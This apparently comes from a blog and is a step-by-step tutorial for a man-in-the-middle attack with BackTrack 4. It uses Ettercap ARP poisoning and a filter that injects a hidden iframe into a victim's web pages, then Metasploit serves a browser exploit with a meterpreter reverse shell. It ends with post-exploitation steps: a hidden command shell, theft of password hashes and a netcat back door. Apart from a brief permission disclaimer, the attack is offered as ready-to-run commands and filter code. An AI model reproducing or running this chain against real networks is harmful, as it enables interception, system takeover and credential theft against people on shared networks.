
# MiTM attack with BackTrack 4

**The Man-In-The-Middle Attack (often abbreviated MITM)** is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker. The attacker must be able to intercept all messages going between the two victims and inject new ones, which is straightforward in many circumstances (for example, an attacker within reception range of an unencrypted Wi-Fi wireless access point, can insert himself as a Man-In-The-Middle).

For regular updates about network security testing and the usage of security testing software (with video and downloads) you can visit Barb13 Unsecured blogspot.

---

**MITM Browser Injection Attack With Backtrack and Ettercap**

The instructions contained below are provided for informational\educational purposes only and should only be used on networks that you control, or have permission to utilize.

**Conditions:** Access to the network has already been gained by either wireless cracking or some other access to a wired network. The target's IP and operating has already been discovered as well as the gateway IP address. The test computer, the target as well as the gateway are all on the same subnet. The target is a patched Windows XP machine running SP3 and IE8.

The attack will begin with a basic MITM (Man-In-The-Middle) ARP poisoning attack against a single target on a network.

The network traffic, specifically the Web pages browsed by the target will be intercepted by the test computer, and an iframe will be injected into all of the web pages viewed. This iframe will point back to the test computer which will be hosting a web page with a malicious payload (via the Meta- sploit framework).

When the user browses to most web pages this iframe will execute the malicious content hosted on the test computer in

their browser. The end result will be admin\root access to the targets compu- ter via a meterpreter session.

---

**Prepare Backtrack**

Open a terminal session and type

**/usr/bin/start-network**

This command enables the networking on Backtrack. Nowyou need to update Metasploit. In a terminal type:

**cd /pentest/exploit/framework3**

This brings us to the Metasploit directory. Type in:

svn update (at the prompt type y)

This will update the Metasploit framework with the latest modules. Now you need to enable IP forwarding using iptables. Enter the following in a terminal window

**echo 1 > /proc/sys/net/ipv4/ip_forward**

Ensure ip forwarding is enabled in ettercap. You need to edit the etter.conf file. Type Kate from a terminal for a GUI text editor or choose it from the Utilities menu.If you're using Backtrack4 Final Release the file can usually be found here: /etc/etter.conf You need to make 3 changes in etter.conf:

**ec-uid = 0**

**ec_guid = 0**

Uncomment the redir_command_on and redir_command_off sections below the "if you use iptables" section of etter.conf

**Prepare Ettercap filter**

Ettercap is a network sniffer that can not only log packet data but can use filters to inject or replace data within the packets. When used in a MITM attack ettercap filters can drop packets, or inject code into packets that will be forwarded to the target machine. Enter this data into a text file using your favorite text editor and save it as iframe.txt:

```
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("(/title)", "(/title>)iframe src="http://youripaddress" width=0 height=0>(/iframe)");
msg("iframe Filter Ran.\n");
}
```

The above filter will put our iframe right before the closing body tag in most web sites. Now from a terminal and in the same directory where you saved iframe.txt enter:

**ettefilter iframe.txt –o iframe.ef**

This command compiles the iframe.txt file into the actual etterrcap filter, or "ef" file. A success message would look like this: Script encoded into 15 instructions.

---

**Launch Metasploit**

From the /pentest/exploit/framework3directory launch the Metasploit console with this command:

**msfconsole**

You can choose your favorite browser exploit for example: windows/browser/ms10_xxx_helpctr_ xss_cmd_exec. Metasploit commands:

**Use windows/browser/ms10_xxx_helpctr_xss_cmd_exec**

**Set PAYLOAD windows/meterpreter/reverse_tcp**

**Set LHOST youripaddress**

**Set SRVHOST youripaddress**

**Set SRVPORT 80**

**Exploit**

---

**Launch Ettercap for MITM attack**

Enter the following command into a terminal window (replace underlined items with the correct name in your environment):

**ettercap –i wlan –F iframe.ef –TQM arp:remote /targetip/ /gatewayip/ -P autoadd**

The –i witch specifies interface, you only need it if you have multiple interfaces. If you have only one you can omit. –F is specifying the filter to use. T= text mode, Q=quiet M=MITM attack.

You may see only one of the addresses is added to an ettercap group. This is not uncommon with wireless clients. Both the gateway and target need to show up in one of the groups. You can either wait until your target sends an arp request or you can force it to by pinging a non existent IP on your subnet from the target. The choice is yours.

Once ettercap is running open up IE on your target and browse somewhere. You should see the "iframe filter run" message on your Backtrack box.You should also see the exploit initiate on the Metasploit terminal. On your victim box a message will pop up. If you click allow the exploit will run.You should then see a meterpreter session initiated on your Backtrack computer. You can hit CTRL+C then type sessions –i 1 to interact with the meterpreter session.

You've compromised the box! You can now do things like drop to a command shell on the target by entering shell into meterpreter. If you want to be surreptitious you could enter execute –F cmd.exe –i –H –c. there are many things you

can do with a successful meterpreter session setup. You can upload\download files, grab password hashes, send over a secure back door program like netcat or edit the registry.





## Contact Info